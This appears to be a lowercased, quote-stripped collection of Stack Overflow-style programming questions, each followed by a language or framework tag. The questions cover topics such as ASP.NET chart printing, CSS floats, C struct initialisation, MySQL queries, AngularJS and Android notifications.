why chart print blank in div tag   i m beginner in asp.net  want to show to user any data with chart and user can be print that chart chart control html code this:<br/>   <pre><code>&lt;div id= maincontent_divl  class= div_l  style= float:left;direction:ltr;text-align:left; &gt;             &lt;asp:button id= button3  runat= server  text= button  onclick= button3_click  /&gt;             &lt;input type= button  onclick= printdiv();  value= پرینت  /&gt;             &lt;br /&gt;             &lt;div align= center &gt;                 &lt;asp:label id= label1  runat= server  text= label  backcolor= red  font-bold= true  forecolor= white  visible= false &gt;&lt;/asp:label&gt;                 &lt;br /&gt;                 &lt;br /&gt;                  &lt;asp:label id= label2  runat= server  text= label  backcolor= blue  font-bold= true  forecolor= white  visible= false &gt;&lt;/asp:label&gt;             &lt;/div&gt;             &lt;br /&gt;                  &lt;asp:chart id= chart1  runat= server  height= 579px  width= 4177px &gt;                     &lt;series&gt;                         &lt;asp:series name= series1 &gt;&lt;/asp:series&gt;                     &lt;/series&gt;                     &lt;chartareas&gt;                         &lt;asp:chartarea name= chartarea1 &gt;&lt;/asp:chartarea&gt;                     &lt;/chartareas&gt;                     &lt;borderskin borderwidth= 3  /&gt;                 &lt;/asp:chart&gt;          &lt;/div&gt; </code></pre>   <br/> and this is a print button code:<br/>   <pre><code>&lt;input type= button  onclick= printdiv();  value= پرینت  /&gt; </code></pre>   <br/> and this is javasript code for that purpose:<br/>   <pre><code>&lt;script type= text/javascript &gt;         function printdiv() {             var divcontents = document.getelementbyid( maincontent_divl ).innerhtml;             var printwindow = window.open(         height=200 width=400 );             printwindow.document.write( &lt;html&gt;&lt;head&gt;&lt;title&gt;div contents&lt;/title&gt; );             printwindow.document.write( &lt;/head&gt;&lt;body &gt; );             printwindow.document.write(divcontents);             printwindow.document.write( &lt;/body&gt;&lt;/html&gt; );             printwindow.document.close();             printwindow.print();         }     &lt;/script&gt; </code></pre>   <br/> but when want to print chart show blank in print page what happen how can i solve that thanks.,asp.net
fill empty space last div  i have 4 divs in main div. all are floating left  the last one leaves an empty space. i want to fill that space with last div (full width).    <a href= http://jsfiddle.net/jzpwf/26/  rel= nofollow >http://jsfiddle.net/jzpwf/26/</a>   <pre><code>&lt;div id= container &gt;     &lt;div class= col1 &gt;     &lt;/div&gt;     &lt;div class= col2 &gt;     &lt;/div&gt;     &lt;div class= col3 &gt;     &lt;/div&gt;         &lt;div class= col4 &gt;     &lt;/div&gt;     &lt;/div&gt;  #container {     width: 600px;     height: 200px;     background:yellow; } .col1 {     float:left;     width:90px;     height: 200px;     background:red; } .col2 {     float:left;     width:130px;     background:blue; height: 200px;     } .col3 {     float:left;     width:130px;     background:red;     height: 200px; } .col4 {     float:left;     width:130px;     background:blue;     height: 200px; } </code></pre>,css
how do i set up mysql server and database where everyone can access with the right credential   i just started using mysql in my work place as an intern. i have a few question regarding mysql server and workbench. i have been searching online for a simple explanation but i can t seem to understand.    i have already installed mysql server and workbench and have have set up local instance mysql router. so now i m trying to set up a database server where can i access through excel which i have no idea on how to.    so can anyone please provide a short explanation without the technical details for each question below  1) how do i set up a database server where everyone can access the data from different desktop  2) or do i need data warehouse like redshift to store my data  3) can it be done without paying a single cent.,mysql
how to get floating divs to register as content in their parent   some more detail: i ve got two divs  one <code>float:left</code>  the other <code>float:right</code>  and the parent is <code>clear:both</code> so that i can order the container parents downwards on the page. specific css is here:   <pre><code>#content {     margin-left:auto;     margin-right:auto;     width: 750px;     margin-top:50px;     position:relative; } .container-div {     padding-top:7px;     padding-bottom:10px;     clear:both;     background-color:#b0c4de; } .left-side {     float:left; } .right-side     float:right; } </code></pre>   the problem is that the <code>background-color</code> of the parent only covers a tiny bit on the top of the container  and chrome inspector shows that the content is apparently only that portion. what gives  how do i make the div see the float ed divs as content,css
how do i initialize a const struct with a union in c  i ve been trying to solve this problem for hours now. although i found some similar questions  it just won t work. i have a union within a struct. now i want to initialize a const variable of this struct.    <pre><code>struct length {    int minutes;    int seconds; };  typedef struct article {    char name[maxlength_a]    double price;    char type;    union size    {       int pages;       struct length blength;    } bsize } art; </code></pre>   now i want to initialize a const variable of this struct. i read somewhere that the following should work  but it doesn t. i always get the errors:  c2224: the operand to the left of  .pages  is not a class  structure  or union and c2078: to many initializers   <pre><code>const art book = { title   24.99  normal  { .pages = 50}}; </code></pre>   i know that this example could be solved easier. but my real problem is  to initialize the 2nd element of the union  like this:   <pre><code>const art book = { title   24.99  audio  { .blength.seconds = 40}}; </code></pre>   neither the first  nor the second initialization is working.  can someone tell me how do it right  i m using c99 btw.,c
does removing a dom element remove the associated scope   in angular  scopes are associated with dom elements. if you call <code>$element.remove()</code>  does <code>$element.scope().$destroy()</code> end up getting called as well  or is the developer responsible for cleaning up scopes himself      this makes me think that it removing a dom element should automatically remove the scope:    <strong>angular.js</strong>   <pre><code>///////////////////////////////////////////// // jquery mutation patch // //  in conjunction with bindjquery intercepts all jquery s dom destruction apis and fires a // $destroy event on all dom nodes being removed. // /////////////////////////////////////////////  function jqlitepatchjqueryremove(name  dispatchthis) { /* ... */ } </code></pre>,angularjs
saving an array to file in c++  i have a custom class called array. it stores the array of type t and a size integer.     does this look right saving an array to file    <pre><code>fout.write((char *)m_array  sizeof(t) * m_size); </code></pre>   how i m storing it:   <pre><code>    bool save(const std::string &amp;filename)     {         std::ofstream fout;          // open the file.         fout.open(filename  std::ios::out | std::ios::binary);          // validate that the file is open.         if (!fout.is_open())             return false;          // write the size to file.         fout &lt;&lt; m_size &lt;&lt; std::endl;            fout.write((char *)m_array  sizeof(t) * m_size);          fout.close();          return true;     } </code></pre>   load function:   <pre><code>    bool load(const std::string &amp;filename)     {         std::ifstream fin;         int size = 0;          // open the file.         fin.open(filename  std::ios::in | std::ios::binary);          // validate that the file is open.         if (!fin.is_open())             return false;          // read the size from file.         fin &gt;&gt; size;          // resize if needed         if (size != m_size)             resize(size);           fin.read((char *)m_array  sizeof(t) * m_size);          fin.close();          return true;     } </code></pre>   the main file:   <pre><code>array&lt;int&gt; a(10);  a.clear(); // set all values to 0.   a[5] = 3;   if (a.save( test.dat ))     con.writeline( saved ); </code></pre>   this gives the output values 0 0 0 0 0 0 3 0 0 0.     but on retrieval  using this:   <pre><code>fin.read((char *)m_array  sizeof(t) * m_size); </code></pre>   i m getting 10 0 0 0 0 768 0 0 0 0.    what am i doing wrong  the second parameter says it wants the count  which would be sizeof(t) * m_size to me.     update: the alternative is this on saving:   <pre><code>for (int i = 0; i &lt; m_size; i++) fout &lt;&lt; m_array[i] &lt;&lt; std::endl; </code></pre>   but i prefer the first method.     enter code here,c++
css selector to target element class or id using only 1 statement  is there any way to effectively write something like this as a <strong>single statement</strong> <em>(this does not work)</em>   <pre><code>*[*^= head ] {} </code></pre>   <strong>goal</strong>: any element  any attribute  starts with  head  *   <hr>   rather than as two statements <em>(this works)</em>   <pre><code>*[class^= head ] *[id^= head ]{} </code></pre>  <hr>   targets:   <pre><code>&lt;div class= header &gt;hi&lt;/div&gt; &lt;div id= heading &gt;hi&lt;/div&gt; </code></pre>,css
connection string for sql database by path for desktop application  i want a connect .mdf file by path as we can do for access db file   <pre><code>provider=microsoft.ace.oledb.12.0;data source=c:\myfolder\myaccess2007file.accdb;persist security info=false; </code></pre>,.net
when i copy my html from an old page into textedit  i get garbage symbols  i try to copy my html code from an old page of mine to use in a new page(with new pictures and text)  and i get garbage symbols. im using text edit on a mavericks mac.     the html code looks correct in textedit  but when i look at the new code in any browser  the source gives me what i did not copy in. and if i type it into textedit extremely carefully  it still is garbage when i look at source. its driving me whacky. this did not happen with my previous mac.,html
which file is generated after preprocessing of a c program   for a c program just before compilation  i.e. after the pre-processing has been completed which file(what extension) is generated,c
what html element to use for holding hidden values  in my application i have a need to keep some values hidden  for them to be later picked up by jquery.    i have a following div for keeping map s data (after <code>img</code> is clicked i would like to show a map with 2 markers):   <pre><code>&lt;div class= map-data &gt; &lt;img src= ../map.png &gt; &lt;/div&gt; </code></pre>   in order to do that i need to store 4 hidden values (<code>1_lat  1_long  2_lat  2_long</code>)  like:   <pre><code>&lt;label type= hidden  value= 56.056180 &gt; </code></pre>   what would the right hidden element be for storing such values  <code>label</code>  <code>p</code> or something else,html
run controller in angular js  i am new to angularjs so i made one example to call a controller but i am not able to call controller ...    this is my sample code    <pre><code>&lt;head&gt;      &lt;meta charset= utf-8 &gt;     &lt;title&gt;insert title here&lt;/title&gt;     &lt;script type= text/javascript  src= js/jquery-1.9.0.js &gt;&lt;/script&gt;     &lt;script type= text/javascript  src= angularjs/angular.min.js &gt;&lt;/script&gt; &lt;/head&gt;  &lt;body ng-app=  &gt;     &lt;div data-ng-controller= mycontroller &gt;     &lt;/div&gt;     &lt;script&gt;         function mycontroller($scope  $http) {             alert( alert );         }     &lt;/script&gt; &lt;/body&gt; </code></pre>,angularjs
schedule an event to happen 10 times a second in java  i am making a game that does something 10 times every second in java. i want to make something that schedules this for me what would be a good resource to look at  edit: must be original java source.... no external software.,java
recognize text in html page: how to start  i d be happy to know how to start if i d like to create a web sample application that is able  given an email message (i.e. *.html page)  to recognize over the body specific words and/or links.    thank you very much for the collaboration    giuseppe,html
animate textlabel in uitableviewcell using willtransitiontostate  i am trying to animate the textlabel in a uitableviewcell when i press the edit button. i am trying to make it fade out and fade in. fading in works but when i press  edit  the textlabel disappears and when i press on  done  i fades in just perfectly.    can anyone tell me why it isn t working     thanks in advance   <pre><code>- (void)willtransitiontostate:(uitableviewcellstatemask)state {  [super willtransitiontostate:state];   if ((state &amp; uitableviewcellstateeditingmask) || (state &amp; uitableviewcellstateshowingdeleteconfirmationmask)) {   [uiview beginanimations:nil context:null];   [uiview setanimationduration:0.3];   label.alpha = 0.0;   [uiview commitanimations];  } }  - (void)didtransitiontostate:(uitableviewcellstatemask)state {  [super didtransitiontostate:state];   if (!(state &amp; uitableviewcellstateeditingmask) &amp;&amp; !(state &amp; uitableviewcellstateshowingdeleteconfirmationmask)) {   [uiview beginanimations:nil context:null];   [uiview setanimationduration:0.5];   label.alpha = 1.0;   [uiview commitanimations];  } } </code></pre>,iphone
android: padding in nested layouts  especially for padding and margin  it would be cool to be able to inherit from parent views.     i dont know if you would agree but  it becomes a mess as soon as i take a control out of a layout and put it in another container.     example:    <pre><code>&lt;relativelayout xmlns:android= http://schemas.android.com/apk/res/android      xmlns:tools= http://schemas.android.com/tools      android:layout_height= match_parent      android:layout_width= match_parent       android:padding= 20dp &gt;     &lt;!--       ^^^^^^^^^^^ --&gt;             &lt;relativelayout                xmlns:tools= http://schemas.android.com/tools      android:layout_height= match_parent      android:layout_width= match_parent       android:padding= 20dp &gt;  ---      &lt;textview         android:id= @+id/txttitledate          android:layout_width= wrap_content          android:layout_height= wrap_content  /&gt;     &lt;textview         android:id= @+id/txttitledate2          android:layout_width= wrap_content          android:layout_height= wrap_content /&gt;     &lt;relativelayout/&gt; &lt;relativelayout/&gt; </code></pre>   when i decide to put the text view in a second layout as in this example  the paddings get messed up because  now they are applied twice around the borders.    <img src= https://i.stack.imgur.com/t1sna.png  alt= enter image description here >    is there way to keep the parent padding in a way that it trickles down to the inner layouts gracefully     i hope it s clear.,android
are arithmetic operations on literals calculated at compile time or run time   i have the following:   <pre><code>double timeinminutes = (double) timeinmilliseconds / (1000 * 60); </code></pre>   is the operation <code>(1000 * 60)</code> done at compile time or at run time  in other words  are there performance differences during run time between the code snippet above and:   <pre><code>double timeinminutes = (double) timeinmilliseconds / 60000; </code></pre>   edit: my question is different from <a href= https://stackoverflow.com/questions/3898259/will-the-java-compiler-precalculate-sums-of-literals >will the java compiler precalculate sums of literals </a>  as i m mixing the use of variables and literals in the arithmetic operations. it s a small difference  but as @tagirvaleev noted in the comments (<a href= https://stackoverflow.com/questions/33040680/are-arithmetic-operations-on-literals-calculated-at-compile-time-or-run-time#comment53902701_33040817 >are arithmetic operations on literals calculated at compile time or run time </a>)  there are instances where some literals aren t pre-compiled even though they could be.,java
how to code in php of calculating the difference   can someone help me how to code the differences of the temperature .  for example  in channel one the difference should be 3 . channel two should be 10  channel three should be 2. also  if i change the temperature to negative. how should i code it   help   <pre><code>&lt; php $a1=array(  channelone =&gt; 45    channeltwo =&gt; 100    channelthree =&gt; 20   );  foreach($a1 as $name=&gt;$temperature) { echo  channel_name . &lt;br&gt; .$name. &lt;br&gt; . actual_temperature . &lt;br&gt; .$temperature. &lt;br&gt; ;  }  $a2=array(  channelone =&gt; 48    channeltwo =&gt; 90    channelthree =&gt; 22  );  foreach($a2 as $name=&gt;$temperature_now) { echo  channel_name . &lt;br&gt; .$name. &lt;br&gt; . temperature_now . &lt;br&gt; .$temperature_now. &lt;br&gt; ;  }   &gt; </code></pre>,php
invalid read of size 8   at 0x400886: set_random_fill (app.c:60)  <a href= https://en.wikipedia.org/wiki/set_cover_problem  rel= nofollow noreferrer >https://en.wikipedia.org/wiki/set_cover_problem</a>    there is simple task  but i don t know how to write it correctly in c89.    <code>valgrind</code> says that there is an error at line 60   <pre><code>enter universe size: 22 ==18369== invalid read of size 8 ==18369==    at 0x400886: set_random_fill (app.c:66) ==18369==    by 0x4007ee: main (app.c:42) ==18369==  address 0x8 is not stack d  malloc d or (recently) free d </code></pre>   here is code (i use <code>clang</code>)   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;time.h&gt;  typedef struct {   int size;   int *array; } set ;  typedef struct {   int size;   set *array; } set_collection;  void set_allocate(set *allocatable_set  int numbers_amount);  void set_random_fill(set *initializable_set);  void set_print(set *printable_set);  int main(void) {   int universe_size = 0;   set *universe = null;    srand((unsigned int)time(null));    puts( enter universe size: );   scanf( %d   &amp;universe_size);    set_allocate(universe  universe_size);   set_random_fill(universe);   set_print(universe);   free(universe);    return 0; }  void set_allocate(set *allocatable_set  int numbers_amount) {   allocatable_set = malloc(sizeof(set));   allocatable_set -&gt; size = numbers_amount;   allocatable_set -&gt; array = calloc(     (unsigned long) numbers_amount  sizeof(int)   ); }  void set_random_fill(set *initializable_set) {   int set_element_cursor = 0;   int set_elements_amount = 0;   int *set_elements_array = null;    set_elements_array = initializable_set -&gt; array;   set_elements_amount = initializable_set -&gt; size;    while (set_element_cursor &lt; set_elements_amount) {     set_elements_array[set_element_cursor] = rand() % 100;     ++set_element_cursor;   } }  void set_print(set *printable_set) {   int set_size = 0;   int set_element_cursor = 0;   int *set_elements_array = null;    set_size = printable_set -&gt; size;   set_elements_array = printable_set -&gt; array;    while (set_element_cursor &lt; set_size) {     printf( %d    set_elements_array[set_element_cursor]);     ++set_element_cursor;   } } </code></pre>   where can be the problem,c
replace div with toggleme script  i have three linked images each with a different id. i also have three divs that are referencing the corresponding image id. i have enabled the toggleme script in the page and works. my issue is how do i change this script so i do not have to click the link again to collapse/expand the content   for example... if i click on image a  i want the content for image a to expand. then if i click on image b  i want the content for image a to collapse and image b to expand without having to click on image a again. or if i click on image c i want the previous content to collapse and the new content for image c to expand.   <pre><code>&lt;script type= text/javascript &gt; function toggleme(a){   var e=document.getelementbyid(a);   if(!e)return true;   if(e.style.display== none ){     e.style.display= block    } else {     e.style.display= none    }   return true; } &lt;/script&gt; </code></pre>,javascript
find all characters in a table column of mysql database   is there any easy way to find out all characters used in a specific column of a table in mysql     for example  these records:   <pre><code> title   dp&amp;e   ui/o   b b@m  </code></pre>   all the characters used in the  title  column would be: dpeuiobm&amp;/@,mysql
substrings length  this is kind of a beginner s question but the code i am looking at is in production and i don t want to break anything.  so  just in case: isn t    <pre><code>text.substring(index  length).length  </code></pre>   is equivalent to just <code>length</code>     (except for the potential argumentoutofrangeexception.),.net
how can i combine on() and not()   i ve got this  but its getting an error:   <pre><code>$( #photocell ).on( click    div.group:not( .overrideicon )   function(){...}); </code></pre>   should i use double quotes inside the not(),jquery
adding a fresh guid per record via sql syntax   i m working with multiple existing tables in a couple databases that didn t previously have a uniqueidentifier column. i have since added this column  but i m wondering if there s a sql method i can use to assign each column their own guid. i work with vb.net and i know i can do it there but considering the size and number of the tables that could take a great deal of time to cycle through.    i ve got this  which will assign the same guid to each row  but i m wondering if there s a clean way to reset the guid per-record within the sql syntax    <pre><code>    declare @newguid uniqueidentifier     set @newguid = newid()     update tblsample     set [guid] = @newguid     where guid is null </code></pre>   any input would be appreciated.,sql
c# get this class for generics use  i have a <code>dbcontext</code> class that other classes extend. for example:   <pre><code>class contact extends dbcontext {} </code></pre>   inside <code>dbcontext</code> class  i want to use whichever class extends dbcontext in generics:   <pre><code>  public static ienumerable&lt;dbcontext&gt; getall( )   {       var sql =  select * from   + tablename();       return db().fetch&lt;dbcontext&gt; (sql);   } </code></pre>   <strong>note ienumerable &lt; dbcontext> here.</strong>    the above code is fine but i have to type-cast everytime. can i achieve something <code>thisclass</code> like:   <pre><code>public static ienumerable&lt;thisclass&gt; getall( ) {    var sql =  select * from   + tablename();    return db().fetch&lt;thisclass&gt; (sql); } </code></pre>   <strong>note ienumerable &lt; thisclass> here.</strong>    after dstanley s comment:    i tried to do:   <pre><code>    public static ienumerable&lt;t&gt; getall&lt;t&gt;()     {         var sql =  select * from   + tablename();          return db().fetch&lt;t&gt; (sql);     } </code></pre>   but i do not want to call like this:   <pre><code>contact.getall&lt;contact&gt;(); </code></pre>   not clean. right     <em>note: tablename() is nothing to worry here. it gets the sql methods in my way based on which class it is called.</em>,c#
why is it a linker error to #include this file more than once   this question isn t so much a  how to solve  question as its a question about <em>why doesn t this work </em>    in c++ i can define a bunch of variables that i want to use across multiple files in a few ways.    i can do it like this:   <pre><code>int superglobal; #include  filethatusessuperglobal1.h   int main() {   // go. } </code></pre>   that way only works if  filethatusessuperglobal1.h  has its entire implementation there in the header and no attached .cpp file.    another way (the  morer correcter  way) is to use extern:   <h3>externvardef.h</h3>  <pre><code>#ifndef externvardef_h #define externvardef_h // defines globals used across multiple files. // the only way this works is if these are declared // as  extern  variables extern int superglobal;  #endif </code></pre>  <h3>externvardef.cpp</h3>  <pre><code>#include  externvardef.h  int superglobal; </code></pre>  <h3>filethatusessuperglobal1.h</h3>  <pre><code>#include  externvardef.h  #include &lt;stdio.h&gt; void go(); </code></pre>  <h3>filethatusessuperglobal1.cpp</h3>  <pre><code>#include  filethatusessuperglobal1.h  void go() {   printf( %d\n   superglobal ); } </code></pre>  <h3>main.cpp</h3>  <pre><code>#include &lt;stdio.h&gt; #include  externvardef.h   #include  filethatusessuperglobal1.h   int main() {   printf(  %d\n   superglobal ) ;   go() ; } </code></pre>   this is a small point and a somewhat nit picky question  but <b>why do i need to declare it extern</b> - should not the #include guards on  externvardef.h  avoid redefinition     its a linker error  even though that header file has #include guards around it.  so its not a compiler error  its a linker error  but why.,c++
a record self referencing in mysql  i ve got a self referencing table in mysql  a table of managers and employees.   <pre><code>create table `employee` (     `employee_id` bigint(10) not null auto_increment      `firstname` varchar(50) null default null      `lastname` varchar(50) null default null      `manager_id` bigint(20) null default null      primary key (`employee_id`)  constraint `fk_manager` foreign key (`manager_id`) references `employee` (`employee_id`) ) </code></pre>   i want to know if it s conceptual correct that a record references himself. i explain better: some employees has relationships with some manager  so for example employees 3 5 7 have relationships with manager 1  but i d like to create a list to show all record related to manager 1 and also manager 1. so i ve tried to make manager 1 have relationships with himself  so manager 1 refers to manager 1.     i ve got no errors  but wanna know if this is a correct way to implement this relationship or if i will have problems in future.    thanks,mysql
how to get top 10 row out of 100 and rank if each row having a rating in the range of 1 (best) to 10 (worst) in mysql  <a href= http://i.stack.imgur.com/jg6lh.jpg  rel= nofollow >enter image description here</a>    i want to sort top 10 codes on the basis of rating so that i can get result like below:   <pre><code>code|rating|rank 54383|4    | 1 24326|4    | 2 19580|6    | 3   </code></pre>,mysql
mysql query filter results  i don t find a solution for this and need a good tip.    this is the table:   <pre><code>name status a  3 a  4 b  3 </code></pre>   i like do get all results where status is like 3 but never got status=4.    in this example: only b should be shown. how should my query look like   thank you!!,mysql
how to handle c exceptions in objective-c  i have a bunch of c functions in my objective-c project ios app  that can potentially crash. i want to be able to handle those crashed. at first  i thought to use @try-catch mechanism  but as far as i understand  all exceptions inside this block must be thrown to be handled. is it true  how can i solve my problem      for example  this is a call of a c function in objective-c code. potentially this function can crush.   <pre><code>err = mailimap_list(session       *   &amp;alllist); </code></pre>,objective-c
extract part of description  to show in title  i have the following code in the page title  on 1500 pages all the same   <pre><code>$title =  detail --homes for sale ; </code></pre>   and would like to extract the first 80 characters from the description into the title  so that each page has a unique title.     the description code is like below    <pre><code>&lt; =nl2br(stripslashes(substr($emlaklist-&gt;aciklama 0 200))) &gt; </code></pre>   any suggestions how this can work,php
if statement is skipped even the statement is true  i just began on the tcp server and client programming on python. however one of the of the if statement does not work and it does not make any sense:   <pre><code>while (1):     data = s.recv(1024)     if data ==  finish :          break     print data print  finish  </code></pre>   and sometimes the last lane will print  finish  in stead of  finish  and it cant exit the loop. this should be never happened because the  print data  statement is skipped if data= finish . could someone tell me why this is happening,python
angularjs when to use curly braces when to use quotation  in angularjs sometimes i m using curly braces sometimes i can just put it in double quote. take the following <code>li</code> tag for example:   <pre><code>&lt;ul ng-repeat= question in questionmodel.questionaire &gt; [...]   &lt;ul ng-repeat= answer in question.answers &gt;     &lt;li&gt;&lt;input type= radio              ng-click= questionmodel.handlechange(answer)              ng-model =  question.answered              value={{answer}}             name={{$parent.$index}} required&gt;         {{answer}}     &lt;/li&gt; </code></pre>   i coded it with trial and error  i never sure if i should be using {{}} or double quotation.,angularjs
javascript get time since last modification of a document  i am currently using document.lastmodified() to find and display the time since a document was last modified. this displays the date and time  for example  like this:  07/26/2014 23:54:23 . but i want the time elapsed since the document was modified last in a user readable format for example  like 4 hours 22 min  or 1 day 3 hours etc. what is the best way to achieve this. i know i am not being clear about the  user readable  part  but what i mean is that the output should not be  atleast  like the number of milliseconds elapsed etc.,javascript
modify reference for projects in .net  i have 2 projects. project a has a reference to project b. i am actively working on project a. however  i do have changes to make in project b. whenever i make changes at project b  i rebuild and add new reference of project b at project a. i wanted to know if there is any tool that could identify changes in project b and update its reference at project a. seeing around  i know nuget is one way to go. but wanted to know if there are any other nifty tools/plugins that i could add to vs.,.net
android notification . how to reopen previous activity  <pre><code>@override protected void onpause() {     intent notificationintent = new intent(getbasecontext()  music.class);     notificationintent.setflags(intent.flag_activity_clear_top | intent.flag_activity_single_top);     pendingintent intent = pendingintent.getactivity(getbasecontext()  0  notificationintent  0);      notification n  = new notification.builder(music.this)             .setcontenttitle( music player )             .setcontenttext( subject )             .setcontentintent(intent)             .setsmallicon(r.drawable.icon)             .setautocancel(true).build();     notificationmanager notificationmanager =        (notificationmanager) getsystemservice(notification_service);     notificationmanager.notify(0  n);     super.onpause(); } </code></pre>   this is a media player and every time i click the home button it will go to the <code>onpause()</code> and the music will still be playing and the <code>seekbar</code> still runs and every time my activity is on the <code>onpause()</code> it will open the notification and when i click the notification it will return me to my activity again.    the problem is that every time i click it  it starts a new activity and resets everything. what i want is for it to resume the last activity that was still running.,android
how would i do tasks after a render   i m about to build a notification system for my android app that has a rails backend. whenever someone comments on a post  i want to notify everyone involved.    sure  i could do something like:   <pre><code>def create   #process commenting on the post   #process sending notification to all involved    render :ok end </code></pre>   that being said  i don t want the sending of notifications to slow down the request. ultimately  it is does not decide the fate of whether or not the post was created.    i think the best solution might be to add the task to a background worker  which has a queue of notifications being sent out. is there a better/different solution to be used for things like this  how would this be implemented,ruby-on-rails
how to go back to home screen of android things on raspberry pi 3 from the foreground running app   i am developing an <strong>android things</strong> application on <strong>raspberry pi 3</strong>. but once the app is installed  i cannot go back to the home screen of android things to get the <strong><em>ip address</em></strong> of the device to connect it to my computer. <br>i tried <strong><em>esc</em></strong> key on the connected keyboard but it just restarts the app and when pressing it multiple times rapidly it shows a message with two options:   <blockquote>    app keeps stopping:   <br>- open app again   <br>- close app  </blockquote>   but they also just restart the app again. <br><br>so is there a way to show the home screen again     <br><strong><em>note</em></strong>: the installed version of android things is dp 0.6.0,android
how can i determine if a value in a struct has been changed   i have two structs of the same type  the fields are comprised of strings. one struct is a  current/changed  state  the other is an original state.    is there a simple way to determine if the fields have changed other than iterating through each field and comparing one-by-one,.net
jquery fade in  slide down  next image  reset slide  i wrote some code in jquery to loop through some images inside a div  fade in to each image and then slide that image up (i have a wrapping div that has div overflow hidden which height is smaller than the image) - then fade to next image  slide up  repeat - however i need to reset the slide so that on the next loop through the image isn t  stuck  at the top.    everything works great in regards to fading and the first slide (margin-top:-108px;) - however  when i try to reset the margin-top to 0px for the next iteration it doesn t reset it  and on the next iteration the image is still at the -108px position.    please excuse my jquery code  if there are noob mistakes  i m pretty new to it!    here is my code:    <strong>css</strong>   <pre><code>        &lt;style type= text/css  media= screen &gt;         #slider { height:296px; overflow:hidden; width:822px; position:absolute; left:50%; margin-left:-411px; top:87px; z-index:20; }         #slider-back { position:absolute; left:50%; margin-left:-411px; height:296px; z-index:29; top:87px; width:822px; background: url( /test/backimage.png ) no-repeat scroll 0px 0px transparent; }     &lt;/style&gt; </code></pre>   <strong>html</strong>   <pre><code>    &lt;div id= slider &gt;         &lt;a href= # &gt;&lt;img src= images/banner/image1.jpg  id= image1  /&gt;&lt;/a&gt;         &lt;a href= # &gt;&lt;img src= images/banner/image2.jpg  id= image2  /&gt;&lt;/a&gt;         &lt;a href= # &gt;&lt;img src= images/banner/image3.jpg  id= image3  /&gt;&lt;/a&gt;     &lt;/div&gt;     &lt;div id= slider-back &gt;&lt;/div&gt; </code></pre>   <strong>jquery</strong>   <pre><code>        &lt;script type= text/javascript &gt;          $(document).ready(function() {               var imgs = $( #slider &gt; a &gt; img ); var z = 1; var previousimageid =   ;              $(imgs[0]).show();              function loop(ev) {                     imgs.delay(5000).fadeout(300).eq(z).fadein(500  function() {                      $(this).animate({margintop: -108px }  {queue: false  duration:6000});                      $(this).css( margin-top   0px );                      check = z != imgs.length-1   z++ : z=0;                      loop();                       });             }             loop();         });      &lt;/script&gt; </code></pre>,jquery
python printing the word  if any one can help me with python code: if i input a letter  how can i print all the words start with that word,python
mysql multiple select question  how can i add the following code example 1 to example 2 without messing up my query.    example 1    <pre><code>select * from users  inner join users_articles on users.user_id = users_articles.user_id where users.active is null and users.deletion = 0 </code></pre>   example 2    <pre><code>select users.user_id  users_articles.user_id  users_articles.title  articles_comments.article_id  articles_comments.comment  articles_comments.comment_id from users_articles inner join articles_comments on users_articles.id = articles_comments.article_id inner join users on articles_comments.user_id = users.user_id where users.active is null and users.deletion = 0 order by articles_comments.date_created desc limit 50 </code></pre>,mysql
program only reads the first line in the file  i am trying to read a file which contains a name on a line followed by numbers on the second line. 3rd line is a name and 4th is numbers and so on.     i tested it on main method. for example my file contains the name  bobby  and his telno is 123456  when i run lookupentry( bobby )  i should get his telno returned to me. this works if the name  bobby  is the first name on the file. if it isn t the first  the program doent seem to recognize the name and returns me a null. been cracking at it and unable to see the problem. please advice if you see any. thanks.    <pre><code>//directoryentry is a class and contains a string name and string telno along with set/ get methods for them.  private directoryentry[] thedirectory = new directoryentry[100]; private int size = 0;  public void loaddata(string sourcename) {         try {             scanner in = new scanner(new file(sourcename));              while (in.hasnextline()){                 string name = in.nextline();                 string telno = in.nextline();                 thedirectory[size] = new directoryentry(name  telno);                 size++;             }             in.close();         }catch (filenotfoundexception e){             system.out.println( file not found. );         }     }  public string lookupentry(string name) {         find(name);         if (find(name) &gt;= 0){             return thedirectory[find(name)].getnumber();         }         else{             return null;         }     }  public int find(string name){         for (int x=0; x &lt; thedirectory.length; x++){             if (thedirectory[x].getname().equals(name)){                 return x;             }             else{                 return -1;             }         }         return  -1;     } </code></pre>   the following is the file content:     alan a    123456    bobby b    234567    charlie c    456789    daniel d    567891    eric e    787454,java
can i trick the jquery text() function to accept html   can i trick the jquery text() function to accept html and not change the tags to their &amp; equivalent. something like passing it the ascii values     i m trying to return html in the label portion of the jquery autocomplete  which uses the text function internally. there are people who suggest calling an undocumented internal function _renderitem () which i d rather not do.,jquery
why first and last inline-block items taking height at bottom not top   why first and last inline-block items taking height at bottom not top     <strong>live example</strong> : <a href= http://dabblet.com/gist/3526764  rel= nofollow >http://dabblet.com/gist/3526764</a>    <strong>html</strong>   <pre><code>&lt;a href= #  class= slider-previous &gt;previous&lt;/a&gt; &lt;img src= http://lorempixel.com/81/61/city/1  alt=  &gt; &lt;img src= http://lorempixel.com/81/61/city/2  alt=  &gt; &lt;img src= http://lorempixel.com/81/61/city/3  alt=  &gt; &lt;img src= http://lorempixel.com/81/61/city/4  alt=  &gt; &lt;img src= http://lorempixel.com/81/61/city/5  alt=  &gt; &lt;img src= http://lorempixel.com/81/61/city/6  alt=  &gt; &lt;img src= http://lorempixel.com/81/61/city/7  alt=  &gt; &lt;img src= http://lorempixel.com/81/61/city/8  alt=  &gt; &lt;a href= #  class= slider-next &gt;next&lt;/a&gt; </code></pre>   <strong>css</strong>   <pre><code>img {display:inline-block;} .slider-previous {text-indent:-99999px;background: url(https://www.entropay.com/sites/entropay.com/themes/entropay_c/images/icons/arrow_icon.png) no-repeat #eee;height: 81px;width: 20px;;display:inline-block;} .slider-next {text-indent:-99999px;background: url(https://www.entropay.com/sites/entropay.com/themes/entropay_c/images/icons/arrow_icon.png) no-repeat #eee;height: 81px;width: 20px;;display:inline-block; } </code></pre>   i want to make the arrow vertical aligned to the images. is it not possible without negative <code>margin-top</code> or <code>float</code>,css
how to make a custom scroll bar with css  just wondering if it s possible to change the style of a scroll bar with css (not the main window)    i have a some text inside a div that scrolls down and the scrollbar is just too big  and makes the whole website ugly     any ideas     thanks,css
